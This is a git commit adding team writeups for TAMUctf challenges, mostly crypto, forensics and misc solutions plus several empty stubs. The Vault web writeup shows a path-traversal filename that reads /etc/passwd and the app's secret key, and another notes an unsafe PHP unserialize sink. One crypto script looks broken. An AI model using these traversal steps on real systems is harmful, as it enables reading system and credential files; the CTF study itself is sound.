added writeups exported from ctfnote
This commit is contained in:
parent
77ed881028
commit
a37637a794
30 changed files with 1487 additions and 0 deletions
2
Abnormal-Ellipse-crypto.md
Normal file
2
Abnormal-Ellipse-crypto.md
Normal file
|
|
@ -0,0 +1,2 @@
|
|||
# Abnormal Ellipse - crypto
|
||||
|
||||
110
Broken-Website-web.md
Normal file
110
Broken-Website-web.md
Normal file
|
|
@ -0,0 +1,110 @@
|
|||
# Broken Website - web
|
||||
|
||||
## Summary
|
||||
|
||||
The future is quic, this challenge was not.
|
||||
|
||||
## Problem
|
||||
|
||||
`curl -v https://broken-website.tamuctf.cybr.club/`
|
||||
|
||||
```
|
||||
* Host broken-website.tamuctf.cybr.club:443 was resolved.
|
||||
* IPv6: (none)
|
||||
* IPv4: 54.91.191.64
|
||||
* Trying 54.91.191.64:443...
|
||||
* connect to 54.91.191.64 port 443 from 192.168.0.79 port 53398 failed: Die Wartezeit für die Verbindung ist abgelaufen
|
||||
* Failed to connect to broken-website.tamuctf.cybr.club port 443 after 133017 ms: Could not connect to server
|
||||
* closing connection #0
|
||||
curl: (28) Failed to connect to broken-website.tamuctf.cybr.club port 443 after 133017 ms: Could not connect to server
|
||||
```
|
||||
|
||||
Every attempt to connect to this site fails and/or times out.
|
||||
|
||||
## Solution
|
||||
|
||||
**Steps to solve:**
|
||||
- Check some ports
|
||||
- Check ALL the ports
|
||||
- even try udp, because when there is no tcp, there is only udp left. But why would someone within their right mind use udp to serve a website!?
|
||||
- try port knocking
|
||||
- with default sequences
|
||||
- with custom sequences
|
||||
- consider doing a rain dance
|
||||
- absolutely NO response from the server, so it HAS to be a network problem
|
||||
- with 3 persons:
|
||||
- blame AWS, because there currently is a offcially announced AWS problem between USA and europe
|
||||
- find out that when connecting via nordvpn there is an answer on port 80
|
||||
- rent servers in different parts of the world to check network issue
|
||||
- blame challenge autor
|
||||
- blame ctf infrastructure
|
||||
- complain in support discord
|
||||
- loop for 3 hours
|
||||
- ignore this messed up stuff
|
||||
- go to a concert
|
||||
- drink some wine
|
||||
- come back, think about tcp and udp
|
||||
- vaguely remember some vague reference some month ago when someone mentioned quic
|
||||
|
||||
### Try quic/http3
|
||||
|
||||
https://curl.se/docs/manpage.html#--http3-only
|
||||
`curl -v --http3-only https://broken-website.tamuctf.cybr.club/`
|
||||
|
||||
```
|
||||
* Host broken-website.tamuctf.cybr.club:443 was resolved.
|
||||
* IPv6: (none)
|
||||
* IPv4: 54.91.191.64
|
||||
* Trying 54.91.191.64:443...
|
||||
* SSL Trust Anchors:
|
||||
* CAfile: /etc/ssl/certs/ca-certificates.crt
|
||||
* SSL connection using TLSv1.3 / TLS_AES_128_GCM_SHA256 / X25519MLKEM768 / id-ecPublicKey
|
||||
* Server certificate:
|
||||
* subject:
|
||||
* start date: Mar 22 07:09:30 2026 GMT
|
||||
* expire date: Mar 22 19:09:30 2026 GMT
|
||||
* issuer: CN=Caddy Local Authority - ECC Intermediate
|
||||
* Certificate level 0: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256
|
||||
* Certificate level 1: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256
|
||||
* subjectAltName: "broken-website.tamuctf.cybr.club" matches cert's "broken-website.tamuctf.cybr.club"
|
||||
* OpenSSL verify result: 14
|
||||
* SSL certificate OpenSSL verify result: unable to get local issuer certificate (20)
|
||||
* QUIC connect to 54.91.191.64 port 443 failed: SSL peer certificate or SSH remote key was not OK
|
||||
* Failed to connect to broken-website.tamuctf.cybr.club port 443 after 117 ms: SSL peer certificate or SSH remote key was not OK
|
||||
* closing connection #0
|
||||
curl: (60) Failed to connect to broken-website.tamuctf.cybr.club port 443 after 117 ms: SSL peer certificate or SSH remote key was not OK
|
||||
More details here: https://curl.se/docs/sslcerts.html
|
||||
|
||||
curl failed to verify the legitimacy of the server and therefore could not
|
||||
establish a secure connection to it. To learn more about this situation and
|
||||
how to fix it, please visit the webpage mentioned above.
|
||||
```
|
||||
|
||||
Certificate problem? -> ignore
|
||||
https://curl.se/docs/manpage.html#--insecure
|
||||
`curl --http3-only --insecure https://broken-website.tamuctf.cybr.club/`
|
||||
|
||||
```html
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<title>Fancy Website</title>
|
||||
<link rel="stylesheet" type="text/css" href="style.css">
|
||||
<link rel="preconnect" href="https://fonts.googleapis.com">
|
||||
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
|
||||
<link href="https://fonts.googleapis.com/css2?family=Ubuntu:ital,wght@0,300;0,400;0,500;0,700;1,300;1,400;1,500;1,700&display=swap" rel="stylesheet">
|
||||
</head>
|
||||
<body>
|
||||
<h1>Welcome to my website!</h1>
|
||||
<h2>Here's the flag:</h2>
|
||||
<h2>gigem{7h3_fu7u23_15_qu1c_64d1f5}</h2>
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
|
||||
## Flag
|
||||
|
||||
`gigem{7h3_fu7u23_15_qu1c_64d1f5}`
|
||||
|
||||
37
Colonel-forensics.md
Normal file
37
Colonel-forensics.md
Normal file
|
|
@ -0,0 +1,37 @@
|
|||
# Colonel - forensics
|
||||
fridgebuyer
|
||||
|
||||
### vol
|
||||
|
||||
vol -f memory.dump linux.bash.Bash
|
||||
vol -f memory.dump linux.kmsg.Kmsg
|
||||
|
||||
"insmod check_service.ko key_path=validation*"
|
||||
|
||||
### kmsg
|
||||
|
||||
Key 1 ```Error: Invalid key 51782b4b765251314e32525236364978534d35566a6b72474b67303946483266, indices 9 21 31 incorrect```
|
||||
|
||||
Key 2 ```Error: Invalid key 58782b4b765251314e51525235364978534d35566a6a72524b673039466c3265, indices 0 12 23 29 incorrect```
|
||||
|
||||
A kernel module check_service.ko was loaded twice with two different key files (validation, validation2). kmsg recorded both attempts.
|
||||
|
||||
### Decode hex to ASCII
|
||||
swap incorrect indices between keys (Key 1 as a base
|
||||
and replace its bad positions (9, 21, 31) with the correct chars
|
||||
from Key 2)
|
||||
|
||||
-> Qx+KvRQ1NQRR66IxSM5VjjrGKg09FH2e
|
||||
|
||||
### Decrypt
|
||||
IV - 1234567890123456, key - ASCII bytes
|
||||
|
||||
python3 -c "
|
||||
from Crypto.Cipher import AES
|
||||
key = b'Qx+KvRQ1NQRR66IxSM5VjjrGKg09FH2e'
|
||||
iv = b'1234567890123456'
|
||||
ct = open('flag.enc','rb').read()
|
||||
print(AES.new(key,AES.MODE_CBC,iv).decrypt(ct))
|
||||
"
|
||||
|
||||
**gigem{bl3ss3d_4r3_th3_c010n31_m33k}**
|
||||
3
Favorite-Sponsor-getting-started.md
Normal file
3
Favorite-Sponsor-getting-started.md
Normal file
|
|
@ -0,0 +1,3 @@
|
|||
# Favorite Sponsor - getting started
|
||||
|
||||
Copy the link of your favorite TAMUctf sponsor and place it inside of the brackets of gigem{}!
|
||||
2
Gamer-Returns-misc.md
Normal file
2
Gamer-Returns-misc.md
Normal file
|
|
@ -0,0 +1,2 @@
|
|||
# Gamer Returns - misc
|
||||
|
||||
2
Goodbye-libc-pwn.md
Normal file
2
Goodbye-libc-pwn.md
Normal file
|
|
@ -0,0 +1,2 @@
|
|||
# Goodbye libc - pwn
|
||||
|
||||
150
Hidden-Log-Factoring-crypto.md
Normal file
150
Hidden-Log-Factoring-crypto.md
Normal file
|
|
@ -0,0 +1,150 @@
|
|||
# Hidden Log Factoring - crypto
|
||||
|
||||
Den Schnippsel in https://sagecell.sagemath.org/ kopieren:
|
||||
|
||||
```
|
||||
# Deine Werte
|
||||
p = 200167626629249973590210748210664315551571227173732968065685194568612605520816305417784745648399324178485097581867501503778073506528170960879344249321872139638179291829086442429009723480288604047975360660822750743411854623254328369265079475034447044479229192540942687284442586906047953374527204596869578972378578818243592790149118451253249
|
||||
y = 44209577951808382329528773174800640982676772266062718570752782238450958062000992024007390942331777802579750741643234627722057238001117859851305258592175283446986950906322475842276682130684406699583969531658154117541036033175624316123630171940523312498410797292015306505441358652764718889371372744612329404629522344917215516711582956706994
|
||||
g = 11
|
||||
|
||||
# Erstelle den Restklassenring/Körper
|
||||
R = Integers(p)
|
||||
target = R(y)
|
||||
base = R(g)
|
||||
|
||||
# Nutze die globale discrete_log Funktion mit der Schranke 2^100
|
||||
# bounds=(untergrenze, obergrenze) beschleunigt die Suche enorm
|
||||
s = discrete_log(target, base, bounds=(1, 1 << 100))
|
||||
|
||||
print(f"Gefundenes s: {s}")
|
||||
```
|
||||
|
||||
`Gefundenes s: 485391067385099231898174017598`
|
||||
|
||||
|
||||
LLM genereated:
|
||||
|
||||
```
|
||||
|
||||
def decrypt(c, p, q):
|
||||
n = p * q
|
||||
# Berechnung der Quadratwurzeln modulo p und q
|
||||
# Dies ist für p, q ≡ 3 (mod 4) besonders einfach
|
||||
mp = pow(c, (p + 1) // 4, p)
|
||||
mq = pow(c, (q + 1) // 4, q)
|
||||
|
||||
# Erweiterter Euklidischer Algorithmus für yp*p + yq*q = 1
|
||||
def extended_gcd(a, b):
|
||||
if a == 0: return b, 0, 1
|
||||
gcd, x1, y1 = extended_gcd(b % a, a)
|
||||
return gcd, y1 - (b // a) * x1, x1
|
||||
|
||||
_, yp, yq = extended_gcd(p, q)
|
||||
|
||||
# Die vier möglichen Wurzeln (Kombination via Chinesischem Restsatz)
|
||||
r1 = (yp * p * mq + yq * q * mp) % n
|
||||
r2 = n - r1
|
||||
r3 = (yp * p * mq - yq * q * mp) % n
|
||||
r4 = n - r3
|
||||
|
||||
return [r1, r2, r3, r4]
|
||||
```
|
||||
|
||||
|
||||
Ehrenlos zusammengevibed:
|
||||
|
||||
```
|
||||
from Crypto.Util.number import long_to_bytes, bytes_to_long
|
||||
from cryptography.hazmat.primitives.kdf.hkdf import HKDF
|
||||
from cryptography.hazmat.primitives import hashes
|
||||
from cryptography.hazmat.backends import default_backend
|
||||
|
||||
# --- Gegebene Daten einfügen ---
|
||||
n=71016310005824589926747341243598522145452505235842335510488353587223142066921470760443852767377534776713566052988373656012584808377496091765373981120165220471527586994259252074709653090148780742972203779666231432769553199154214563039426087870098774883375566546770723222752131892953195949848583409407713489831
|
||||
e = 65537
|
||||
p = 200167626629249973590210748210664315551571227173732968065685194568612605520816305417784745648399324178485097581867501503778073506528170960879344249321872139638179291829086442429009723480288604047975360660822750743411854623254328369265079475034447044479229192540942687284442586906047953374527204596869578972378578818243592790149118451253249
|
||||
g = 11
|
||||
A=44209577951808382329528773174800640982676772266062718570752782238450958062000992024007390942331777802579750741643234627722057238001117859851305258592175283446986950906322475842276682130684406699583969531658154117541036033175624316123630171940523312498410797292015306505441358652764718889371372744612329404629522344917215516711582956706994
|
||||
D=9478993126102369804166465392238441359765254122557022102787395039760473484373917895152043164556897759129379257347258713397227019255397523784552330568551257950882564054224108445256766524125007082113207841784651721510041313068567959041923601780557243220011462176445589034556139643023098611601440872439110251624
|
||||
c=1479919887254219636530919475050983663848182436330538045427636138917562865693442211774911655964940989306960131568709021476461747472930022641984797332621318327273825157712858569934666380955735263664889604798016194035704361047493027641699022507373990773216443687431071760958198437503246519811635672063448591496
|
||||
|
||||
# --- 1. DLP lösen mit Sage ---
|
||||
print("[*] Löse DLP für s...")
|
||||
# Erstelle den Restklassenring/Körper
|
||||
R = Integers(p)
|
||||
target = R(A)
|
||||
base = R(g)
|
||||
|
||||
# Nutze die globale discrete_log Funktion mit der Schranke 2^100
|
||||
# bounds=(untergrenze, obergrenze) beschleunigt die Suche enorm
|
||||
s = discrete_log(target, base, bounds=(1, 1 << 100))
|
||||
print(f"[+] s gefunden: {s}")
|
||||
|
||||
# --- 2. d-Maske berechnen ---
|
||||
def get_mask(s_val, bit_len):
|
||||
hkdf = HKDF(
|
||||
algorithm=hashes.SHA256(),
|
||||
length=bit_len // 8,
|
||||
salt=None,
|
||||
info=b"rsa-d-mask",
|
||||
backend=default_backend()
|
||||
)
|
||||
return bytes_to_long(hkdf.derive(long_to_bytes(s_val)))
|
||||
|
||||
# Wir nehmen an, dass d etwa so lang wie n ist
|
||||
mask = get_mask(s, n.bit_length())
|
||||
d = int(D ^ mask)
|
||||
print(f"[+] d={d} berechnet.")
|
||||
|
||||
# --- 3. n faktorisieren (via e und d) ---
|
||||
# In Sage gibt es eingebaute Methoden, oder wir nutzen den Standard-Algorithmus
|
||||
def factor_n_ed(n, e, d):
|
||||
k = d * e - 1
|
||||
g = 2
|
||||
while True:
|
||||
t = k
|
||||
while t % 2 == 0:
|
||||
t //= 2
|
||||
x = pow(g, t, n)
|
||||
if x > 1:
|
||||
y = gcd(x - 1, n)
|
||||
if y > 1 and y < n:
|
||||
return int(y), int(n // y)
|
||||
g = next_prime(g)
|
||||
|
||||
q1, q2 = factor_n_ed(n, e, d)
|
||||
print(f"[+] Faktoren gefunden: q1={q1}, q2={q2}")
|
||||
|
||||
# Nutze die Faktoren q1 und q2 für die schnelle Berechnung
|
||||
def general_rabin_decrypt(c, p, q):
|
||||
# Berechnet Wurzeln für JEDE Primzahl (auch wenn p != 3 mod 4)
|
||||
# Fp und Fq sind die endlichen Körper
|
||||
Fp = GF(p)
|
||||
Fq = GF(q)
|
||||
|
||||
# sqrt() in GF(p) findet alle Wurzeln
|
||||
roots_p = Fp(c).sqrt(all=True)
|
||||
roots_q = Fq(c).sqrt(all=True)
|
||||
|
||||
results = []
|
||||
for rp in roots_p:
|
||||
for rq in roots_q:
|
||||
# Kombiniere alle Paarungen via Chinesischem Restsatz
|
||||
res = crt([int(rp), int(rq)], [int(p), int(q)])
|
||||
results.append(res)
|
||||
return results
|
||||
|
||||
potential_roots = general_rabin_decrypt(c, q1, q2)
|
||||
|
||||
for r in potential_roots:
|
||||
# Umwandlung von Integer zu Bytes
|
||||
try:
|
||||
flag_candidate = long_to_bytes(int(r))
|
||||
print(f"Gefundene Nachricht: {flag_candidate}")
|
||||
if b"flag" in flag_candidate.lower() or b"{" in flag_candidate:
|
||||
print(f"\n[!!!] DAS IST DIE FLAGGE: {flag_candidate.decode(errors='ignore')}")
|
||||
except:
|
||||
continue
|
||||
|
||||
```
|
||||
2
Nucleus-rev.md
Normal file
2
Nucleus-rev.md
Normal file
|
|
@ -0,0 +1,2 @@
|
|||
# Nucleus - rev
|
||||
|
||||
55
POP-Restaurant-web-easy.md
Normal file
55
POP-Restaurant-web-easy.md
Normal file
|
|
@ -0,0 +1,55 @@
|
|||
# POP Restaurant - web - easy
|
||||
|
||||
## Description
|
||||
|
||||
Spent a week to create this food ordering system. Hope that it will not have any critical vulnerability in my application.
|
||||
|
||||
----
|
||||
|
||||
## General
|
||||
- Flag is under `/`, e.g: `/sXrq5wWZZYpMh_flag.txt`
|
||||
- Therefore name is not predictable - probably RCE needed?
|
||||
-
|
||||
|
||||
explanation of the attack vector
|
||||
https://owasp.org/www-community/vulnerabilities/PHP_Object_Injection
|
||||
|
||||
|
||||
## Compose
|
||||
|
||||
Place one directory level above the provided challenge folder.
|
||||
|
||||
Launch with `docker compose up --watch`.
|
||||
|
||||
```yaml
|
||||
services:
|
||||
web-pop_restaurant:
|
||||
build:
|
||||
context: ./challenge # if one level above provided challenge files.
|
||||
dockerfile: Dockerfile
|
||||
container_name: web-pop_restaurant
|
||||
ports:
|
||||
- "1337:80"
|
||||
stdin_open: true
|
||||
tty: true
|
||||
develop:
|
||||
watch:
|
||||
- action: sync
|
||||
path: ./challenge/challenge
|
||||
target: /var/www/html
|
||||
ignore:
|
||||
- .git/
|
||||
- action: sync
|
||||
path: ./challenge/flag.txt
|
||||
target: /flag.txt
|
||||
```
|
||||
|
||||
## `order.php`
|
||||
|
||||
```php=16
|
||||
$order = unserialize(base64_decode($_POST['data']));
|
||||
```
|
||||
|
||||
User controlled input, unsaitized, send to unserialize().
|
||||
|
||||
Thats bad :(
|
||||
8
Phantom-forensics.md
Normal file
8
Phantom-forensics.md
Normal file
|
|
@ -0,0 +1,8 @@
|
|||
# Phantom - forensics
|
||||
|
||||
- git fsck --unreachable --no-reflogs
|
||||
- for blob in 86f49cf 8b137891 4ced13f 11f0f8c fe3b0b88; do echo "=== $blob ==="; git cat-file -p $blob; echo; done
|
||||
|
||||
=== 86f49cf ===
|
||||
**gigem{917hu8_f02k5_423_v32y_1n7323571n9_1d60b3}**
|
||||
|
||||
67
Quick-Response-misc.md
Normal file
67
Quick-Response-misc.md
Normal file
|
|
@ -0,0 +1,67 @@
|
|||
# Quick Response - misc
|
||||
|
||||

|
||||
|
||||
|
||||
fridgebuyer
|
||||
|
||||
- The QR is 29x29 == version 3
|
||||
- Each module = 32x32 px
|
||||
- What should be solid is alternated. The 7x7 finder patterns should be solid but are not visible in the 3 corners (top left, bottom left, top right)
|
||||
- What should be alternated are solid lines (timing strips)
|
||||
- So the original QR was likely XORed with a Checkerboard pattern
|
||||
- https://www.pclviewer.com/rs2/qrmasking.htm Mask 000: (i + j) mod 2 = 0 is this
|
||||
- But this was applied to entire qr code, not only to the data region
|
||||
- So need to XOR every module with (row + col) % 2 again.
|
||||
|
||||
### sol
|
||||
|
||||
```
|
||||
from PIL import Image
|
||||
import numpy as np
|
||||
from pyzbar.pyzbar import decode
|
||||
|
||||
img = Image.open("quick-response.png").convert("RGB")
|
||||
arr = np.array(img)
|
||||
|
||||
# extract module grid
|
||||
module_size = 32
|
||||
n = 29
|
||||
dark = np.array([20, 22, 27])
|
||||
|
||||
grid = np.zeros((n, n), dtype=int)
|
||||
for r in range(n):
|
||||
for c in range(n):
|
||||
cy = r * module_size + module_size // 2
|
||||
cx = c * module_size + module_size // 2
|
||||
pixel = arr[cy, cx]
|
||||
if np.sum((pixel.astype(int) - dark.astype(int)) ** 2) < 100:
|
||||
grid[r, c] = 1
|
||||
|
||||
# XOR (i + j) mod 2 = 0
|
||||
for r in range(n):
|
||||
for c in range(n):
|
||||
grid[r, c] ^= (r + c) % 2
|
||||
|
||||
# write fixed QR code
|
||||
scale = 10
|
||||
border = 4
|
||||
total = (n + 2 * border) * scale
|
||||
out = Image.new("L", (total, total), 255)
|
||||
px = out.load()
|
||||
for r in range(n):
|
||||
for c in range(n):
|
||||
if grid[r, c] == 1:
|
||||
for dy in range(scale):
|
||||
for dx in range(scale):
|
||||
px[(c + border) * scale + dx, (r + border) * scale + dy] = 0
|
||||
|
||||
result = decode(out)
|
||||
for r in result:
|
||||
print(r.data.decode())
|
||||
|
||||
```
|
||||
|
||||

|
||||
|
||||
**gigem{d1d_y0u_n0t1c3_th3_t1m1n9_b175}**
|
||||
38
Random-Password-crypto.md
Normal file
38
Random-Password-crypto.md
Normal file
|
|
@ -0,0 +1,38 @@
|
|||
# Random Password - crypto
|
||||
|
||||
|
||||
```
|
||||
def backtrack(idx, sample, fives, sevens, accu, result):
|
||||
if idx == 5718 and len(result(256)):
|
||||
result.append(accu)
|
||||
return
|
||||
|
||||
if len(fives) > 1 and sum(fives) < 5:
|
||||
fives.append(sample[idx])
|
||||
backtrack(idx + 1, sample,fives, sevens, accu, result)
|
||||
fives.pop()
|
||||
elif len(sevens) > 1 and sum(sevens) < 17:
|
||||
sevens.append(sample[idx])
|
||||
backtrack(idx + 1, sample,fives, sevens, accu, result)
|
||||
sevens.pop()
|
||||
elif len(fives) > 1 and sum(fives) > 5:r
|
||||
accu.append(fives)
|
||||
backtrack(idx, sample, [], sevens, accu, result)
|
||||
accu.pop()
|
||||
elif len(sevens) > 1 and sum(sevens) > 17:
|
||||
accu.append(sevens)
|
||||
backtrack(idx, sample, fives, [], accu, result)
|
||||
accu.pop()
|
||||
|
||||
fives.append(sample[idx])
|
||||
backtrack(idx + 1, sample,fives, sevens, accu, result)
|
||||
fives.pop()
|
||||
|
||||
sevens.append(sample[idx])
|
||||
backtrack(idx + 1, sample,fives, sevens, accu, result)
|
||||
sevens.pop()
|
||||
|
||||
result = []
|
||||
backtrack(0, sample, [], [], [], result)
|
||||
|
||||
```
|
||||
67
Short-Term-Fuel-Trim-misc.md
Normal file
67
Short-Term-Fuel-Trim-misc.md
Normal file
|
|
@ -0,0 +1,67 @@
|
|||
# Short Term Fuel Trim - misc
|
||||
|
||||
The data is a list of _129*1380_ complex numbers
|
||||
```
|
||||
# STFT shape: complex64 (129, 1380)
|
||||
(0.000000000000000000e+00+0.000000000000000000e+00j)
|
||||
(0.000000000000000000e+00+0.000000000000000000e+00j)
|
||||
(-1.484999775886535645e+00+0.000000000000000000e+00j)
|
||||
(2.873720169067382812e+00+0.000000000000000000e+00j)
|
||||
(9.447572708129882812e+00+0.000000000000000000e+00j)
|
||||
(8.104647827148437500e+01+0.000000000000000000e+00j)
|
||||
(1.316259765625000000e+01+0.000000000000000000e+00j)
|
||||
(-3.101673889160156250e+02+0.000000000000000000e+00j)
|
||||
(-4.186026916503906250e+02+0.000000000000000000e+00j)
|
||||
(-5.818300781250000000e+02+0.000000000000000000e+00j)
|
||||
(2.119775390625000000e+02+0.000000000000000000e+00j)
|
||||
(-1.738154602050781250e+02+0.000000000000000000e+00j)
|
||||
(-2.650747985839843750e+02+0.000000000000000000e+00j)
|
||||
(-3.873171691894531250e+02+0.000000000000000000e+00j)
|
||||
(-4.193124389648437500e+02+0.000000000000000000e+00j)
|
||||
(-1.984837646484375000e+02+0.000000000000000000e+00j)
|
||||
(-1.092494659423828125e+02+0.000000000000000000e+00j)
|
||||
|
||||
```
|
||||
STFT stands for [short time Fourier transform](https://en.wikipedia.org/wiki/Short-time_Fourier_transform).
|
||||
The data is actually the STFT of an audio signal.
|
||||
|
||||
Using [scipy.signal.istft](https://docs.scipy.org/doc/scipy/reference/generated/scipy.signal.istft.html),
|
||||
we performed the inverse transform and reconstructed the audio signal
|
||||
```python
|
||||
|
||||
with open("numbers.txt", "r") as f:
|
||||
lines = f.readlines()
|
||||
|
||||
shape = (129, 1380)
|
||||
|
||||
nums = np.array([complex(l.strip()) for l in lines[1:]])
|
||||
arr = nums.reshape(*shape)
|
||||
|
||||
|
||||
sampling_rate_hz = 44100
|
||||
|
||||
t, z = istft(arr, fs=sampling_rate_hz)
|
||||
|
||||
from scipy.io import wavfile
|
||||
|
||||
def time_series_to_wav(arr, sample_rate=44100):
|
||||
#sample_rate = 44100 # Hz — set correctly
|
||||
#samples = samples.astype(np.float32)
|
||||
|
||||
arr_mean = arr.mean()
|
||||
arr_ptp = arr.max() - arr.min()
|
||||
|
||||
samples = (arr - arr_mean)*2/arr_ptp
|
||||
|
||||
# Normalize if float in [-1,1], convert to 16-bit:
|
||||
scaled = (samples * 32767).astype(np.int16)
|
||||
|
||||
wavfile.write("out.wav", sample_rate, scaled)
|
||||
|
||||
time_series_to_wav(z, sample_rate=44100)
|
||||
```
|
||||
|
||||
The flag is spoken text, and can be transcribed from the wav file.
|
||||
|
||||
|
||||
The flag is `gigem{fft_is_50_0p}`
|
||||
2
Sun-Temple-rev.md
Normal file
2
Sun-Temple-rev.md
Normal file
|
|
@ -0,0 +1,2 @@
|
|||
# Sun Temple - rev
|
||||
|
||||
2
Task-Manager-pwn.md
Normal file
2
Task-Manager-pwn.md
Normal file
|
|
@ -0,0 +1,2 @@
|
|||
# Task Manager - pwn
|
||||
|
||||
16
Test-task.md
Normal file
16
Test-task.md
Normal file
|
|
@ -0,0 +1,16 @@
|
|||
# Test task
|
||||
|
||||
## Description
|
||||
|
||||
Test task
|
||||
|
||||
----
|
||||
|
||||
fuuuuuuuu
|
||||
|
||||

|
||||
|
||||
asdw
|
||||
|
||||
|
||||
passt
|
||||
33
Time-Capsule-forensics.md
Normal file
33
Time-Capsule-forensics.md
Normal file
|
|
@ -0,0 +1,33 @@
|
|||
# Time Capsule - forensics
|
||||
fridgebuyer
|
||||
|
||||
- mount the image
|
||||
- in nostalgia/ ASCII chars can be derived from each file's mtime
|
||||
- char = minutes * 60 + seconds
|
||||
|
||||
memory_1.jpg 2007-01-01 02:01:43
|
||||
|
||||
-- 1*60+43 = 103 = 'g'
|
||||
|
||||
```
|
||||
|
||||
python3 << 'EOF'
|
||||
import os, datetime
|
||||
|
||||
flag = ""
|
||||
for i in range(1, 18):
|
||||
f = next(f for f in os.listdir(".") if f.startswith(f"memory_{i}."))
|
||||
dt = datetime.datetime.fromtimestamp(os.stat(f).st_mtime)
|
||||
ascii_val = dt.minute * 60 + dt.second
|
||||
char = chr(ascii_val)
|
||||
flag += char
|
||||
print(f"{f:<20} {dt.strftime('%H:%M:%S')} min={dt.minute} sec={dt.second} -> {ascii_val} -> '{char}'")
|
||||
|
||||
print(f"\nFlag: {flag}")
|
||||
EOF
|
||||
|
||||
```
|
||||
|
||||
**gigem{byg0n3_3r4}**
|
||||
|
||||
|
||||
0
Untitled.md
Normal file
0
Untitled.md
Normal file
3
Untitled_6137f236-0713-490b-aabe-38062ff194ea.md
Normal file
3
Untitled_6137f236-0713-490b-aabe-38062ff194ea.md
Normal file
|
|
@ -0,0 +1,3 @@
|
|||
Test
|
||||
|
||||
test2
|
||||
300
Vault-web.md
Normal file
300
Vault-web.md
Normal file
|
|
@ -0,0 +1,300 @@
|
|||
# Vault - web
|
||||
|
||||
## entrypoint.sh
|
||||
|
||||
|
||||
```shell
|
||||
...
|
||||
mv /tmp/flag.txt /$(openssl rand -hex 12)-flag.txt
|
||||
...
|
||||
```
|
||||
|
||||
Flag is (for example) at `/24c6038f70c4bb0774ef6629-flag.txt`
|
||||
|
||||
|
||||
## Compose
|
||||
|
||||
The challenge code is completely provided, so one can run their own local instance. This enables local customizing and debugging.
|
||||
|
||||
Instead of docker build, start, stop, change code, rebuild, ... just add a compose file.
|
||||
This example assumes to be one directory level above the provided challenge files:
|
||||
|
||||
```yaml
|
||||
services:
|
||||
vault:
|
||||
build:
|
||||
context: ./challenge
|
||||
dockerfile: Dockerfile
|
||||
ports:
|
||||
- "9090:80"
|
||||
container_name: vault
|
||||
restart: unless-stopped
|
||||
```
|
||||
|
||||
## LFI
|
||||
|
||||
|
||||
In `/home/uwe/ctf/tamu/vault/challenge/src/app/Http/Controllers/AccountController.php` there is a controller for the account that accepts an image upload.
|
||||
|
||||
```php=69
|
||||
$name = $_FILES['avatar']['full_path'];
|
||||
$path = "/var/www/storage/app/public/avatars/$name";
|
||||
$request->file('avatar')->storeAs('avatars', basename($name), 'public');
|
||||
|
||||
$user->avatar = $path;
|
||||
$user->save();
|
||||
```
|
||||
|
||||
|
||||
```php=69
|
||||
$name = $_FILES['avatar']['full_path'];
|
||||
```
|
||||
|
||||
is completely user supplied.
|
||||
https://www.php.net/manual/en/reserved.variables.files.php
|
||||
|
||||
The content of `$name` (`$_FILES['avatar']['full_path']`) needs to be sanitized.
|
||||
|
||||
```php=70
|
||||
$path = "/var/www/storage/app/public/avatars/$name";
|
||||
```
|
||||
No sanitizing here.
|
||||
|
||||
|
||||
```php=71
|
||||
$request->file('avatar')->storeAs('avatars', basename($name), 'public');
|
||||
```
|
||||
|
||||
The location where the file will be saved is sanitized with `basename()`, so that the upload is constrained to the desired folder.
|
||||
|
||||
|
||||
```php=73
|
||||
$user->avatar = $path;
|
||||
$user->save();
|
||||
```
|
||||
|
||||
The user avatar gets modified, but the path to the avatar file is not sanitized and stored as is in the database.
|
||||
|
||||
|
||||
So when uploading a file named `../../../../../../../../../../../../../../etc/passwd`, the script would create the file `etc/passwd` (even handling the sub folder) within the legitimate upload directory, but in the database it will store the user supplied file name, including the manipulated location with the path traversal.
|
||||
|
||||
When displaying the avatar via http://localhost:9090/avatar, the system will load the file at the stored location, including the path traversal.
|
||||
|
||||
|
||||
Sadly there is no GUI for the avatar upload.
|
||||
Instead of messing around with hand made http POST request, handling xsrf and all that stuff, just let Copilot extend the form for the POST request in `challenge/src/resources/views/account.blade.php` on our local challenge instance:
|
||||
|
||||
```php-template=26
|
||||
<div class="content-box" style="margin-bottom: 1rem;">
|
||||
<h2>Update Avatar</h2>
|
||||
<form method="post" action="/account/avatar" enctype="multipart/form-data">
|
||||
@csrf
|
||||
<label for="avatar">Avatar Image</label>
|
||||
<input id="avatar" name="avatar" type="file" accept="image/*">
|
||||
<input class="submit" type="submit" value="Upload Avatar">
|
||||
</form>
|
||||
|
||||
@if (session('avatar_error'))
|
||||
<div class="errors">
|
||||
<li>{{ session('avatar_error') }}</li>
|
||||
</div>
|
||||
@endif
|
||||
</div>
|
||||
```
|
||||
|
||||
0. Rebuild the challenge
|
||||
1. upload a legitimate image file, sniff the http request
|
||||
2. manipulate and resend http request to change the full_path name
|
||||
|
||||
```http
|
||||
Content-Disposition: form-data; name="avatar"; filename="../../../../../../../../../../../../../../etc/passwd"
|
||||
```
|
||||
|
||||
3. read `/etc/passwd` from http://localhost:9090/avatar
|
||||
|
||||
|
||||
Further things that might be interesting:
|
||||
- php Application
|
||||
- Database
|
||||
- php sessions
|
||||
- log files?
|
||||
- ...?
|
||||
- system
|
||||
- environment variables?
|
||||
|
||||
|
||||
`/var/www/.env` contains
|
||||
|
||||
```
|
||||
APP_KEY=base64:Ubbqb57C6290L7p/iugXBtSJEenMhVIHORuB6qmSKgI=
|
||||
```
|
||||
|
||||
-> this should allow for creation and signing of things?
|
||||
- Voucher
|
||||
- Cookies
|
||||
- Sessions
|
||||
- ???
|
||||
|
||||
Probably even leading to insecure deserialisation??
|
||||
|
||||
|
||||
Even if the cookie signing itself should not be vulnerable,
|
||||
there is some custom decryption logic for the vouchers that might be vulnerable.
|
||||
|
||||
`/home/uwe/ctf/tamu/vault/challenge/src/app/Http/Controllers/VouchersController.php`
|
||||
|
||||
```php=37
|
||||
$voucher = encrypt([
|
||||
'amount' => $amount,
|
||||
'created_by' => $user->uuid,
|
||||
'created_at' => Carbon::now()
|
||||
]);
|
||||
```
|
||||
|
||||
```php=53
|
||||
$voucher = decrypt($data['voucher']);
|
||||
